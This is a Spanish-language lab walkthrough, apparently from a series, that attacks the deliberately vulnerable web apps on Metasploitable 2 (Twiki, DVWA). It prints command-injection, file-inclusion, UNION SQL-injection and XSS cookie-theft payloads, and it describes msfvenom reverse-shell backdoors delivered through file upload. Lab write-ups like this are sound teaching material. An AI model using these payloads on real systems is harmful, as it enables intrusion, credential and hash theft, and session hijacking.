Continuamos con la segunda parte de la guía de Metasploitable 2. En esta entrega vamos a explotar el puerto 80, en el que vamos a encontrar varias aplicaciones web vulnerables. Esto es lo que nos aparece al entrar.
TWIKI
La primera aplicación que aparece es Twiki. Se trata de un gestor de contenidos tipo wiki, escrito en Perl y con licencia GPL. Soporta extensiones para acceso a base de datos, diagramas, hojas de calculo, seguimiento de proyectos y muchas otras posibilidades.
Éste tiene una vulnerabilidad que podemos explotar con Metasploit.
Configuración exploit
Shell obtenida
Obtendremos una shell sin privilegios. Para escalar privilegios utilizaremos el mismo exploit que usamos en el puerto 22 (SSH), en la primera parte de ésta
guía.
DVWA
Esta aplicación web dispone de varios fallos de seguridad como pueden ser SQL Injection, ejecucion de comandos, File Inclusion, etc.
Al entrar vemos un login, el user es "admin" y la pass "password".
Una vez dentro, lo primero que haremos es pinchar en
Setup y
Create/Reset Database, para crear la base de datos.
Lo siguiente es cambiar el nivel de seguridad, entramos en
DVWA Security y lo cambiamos a
Low, pinchamos en
Submit.
Ya estamos listos para empezar a probar las vulnerabilidades.
Command Execution
Nos aparece una pantalla en la que podemos hacer un ping a la IP indicada. Pero además podemos ejecutar mas comandos con la siguiente sintaxis:
IP&&COMANDO.
Ejemplo: 127.0.0.1&&pwd
En la captura vemos como responde al
ping y al comando
pwd. Ahora ya depende de nuestra imaginación y los permisos que tengamos.
Cross Site Request Forgery (CSRF)
Esto es un ejemplo de una mala implementación del cambio de contraseña en una aplicación web.
- Utiliza http en vez de https, por lo que va en texto plano.
- Un atacante puede usar la URL para cambiar la contraseña-
Al entrar nos encontramos con esta pantalla.
Escribimos una contraseña y pulsamos
Change.
Si nos fijamos en la URL, vemos como aparece la nueva contraseña.
Ahora vamos a cambiar la contraseña desde la URL y actualizamos la página.
Nos aparece el mensaje Password Changed y en la URL la nueva contraseña establecida. Si salimos de DVWA y nos logueamos otra vez con la nueva contraseña, comprobareis que efectivamente funciona.
File Inclusion
Mediante esta vulnerabilidad podemos ver ciertos archivos del sistema como puede ser passwd, phpinfo, ftpusers, etc. Incluso podemos ejecutar un archivo que hayamos subido previamente como un backdoor.
En la web nos dice que modifiquemos una parte de la url para explotar la vulnerabilidad.
page=/etc/passwd
page=/var/www/phpinfo.php
Para el siguiente ejemplo, vamos a crear un backdoor con msfvenom.
Lo metemos en la máquina Metasploitable 2 de la forma que mas nos guste.
A continuación ponemos a la escucha en Kali el multi/handler para recibir la conexión.
Y por último, ejecutamos nuestro archivo introduciendo la ruta donde lo hayamos guardado. En mi caso lo he puesto en la carpeta /tmp.
Aquí tenemos la shell meterpreter, ya solo tendríamos que escalar privilegios mediante algún exploit.
SQL Injection
Es el turno del famoso SQL Injection. No voy a entrar en muchos detalles sobre el funcionamiento del mismo, para ello visita este
enlace.
Para empezar introducimos el comando básico:
' or ' 1=1
La respuesta de la web es los nombres de usuario.
Para ver el nombre de usuario de la base de datos introducimos:
' or 0=0 union select null, user() #
Usuario db: root
Para el nombre de la base de datos:
' or 0=0 union select null, database() #
Nombre db: dvwa
Buscaremos en las tablas de la base de datos information_schema (esta base de datos es donde se guarda la información sobre las db que el servidor MySQL maneja), las tablas que contengan la palabra user en su nombre. Para ello usamos el siguiente comando:
' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%' #
Tabla: users
Una vez sabemos el nombre de la tabla en cuestión, mostramos el nombre de las columnas:
' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
Columnas db users
Por último, mostramos la información de las columnas que nos interesan:
' and 1=0 union select null, concat(user,0x0a,password) from users #
Con los usuarios y sus respectivos hashes podemos obtener las contraseñas con John the Ripper u otra aplicacion de crackeo de hashes.
Usuarios y contraseñas
Upload
Mediante esta vulnerabilidad podemos subir un archivo al servidor para posteriormente ejecutarlo por ejemplo, con lo que ello conlleva.
He creado, mediante msfvenom, un archivo php que devolverá una shell meterpreter. Buscamos el archivo y lo subimos.
Path del archivo
Una vez subido, lo ejecutamos desde la URL.
Con msfconsole y multi/handler escuchando, obtendremos la shell.
Cross-Site Scripting (XSS)
XSS permite a un atacante inyectar código en la web evitando las medidas de control, permitiéndole robar información sensible, secuestrar sesiones de usuario, etc.
El ejemplo básico para comprobar la vulnerabilidad es el siguiente:
<script>alert("¡¡FWHIBBIT!!")</script>
Nos aparecerá el siguiente mensaje:
Otro de los usos que se le puede dar es utilizar un iframe para mostrar otra web por encima de la original. Con ésta técnica podemos engañar a un usuario para que piense que se trata de la web original cuando en realidad no lo es, obteniendo así sus credenciales.
Iframe con web indicada
Para obtener la cookie de la sesion introducimos :
<script>alert(document.cookie)</script>
Mediante XSS podemos incluso ejecutar un archivo php (como el usado en la parte de Upload).
<script>window.location="http://192.168.0.195/dvwa/hackable/uploads/hack.php"</script>
Teniendo multi/handler a la escucha, tendremos una shell meterpreter.
Hasta aquí la entrada de hoy, espero que os haya gustado. Recordar que esto es con fines educativos y en ningún momento debe utilizarse para malos fines.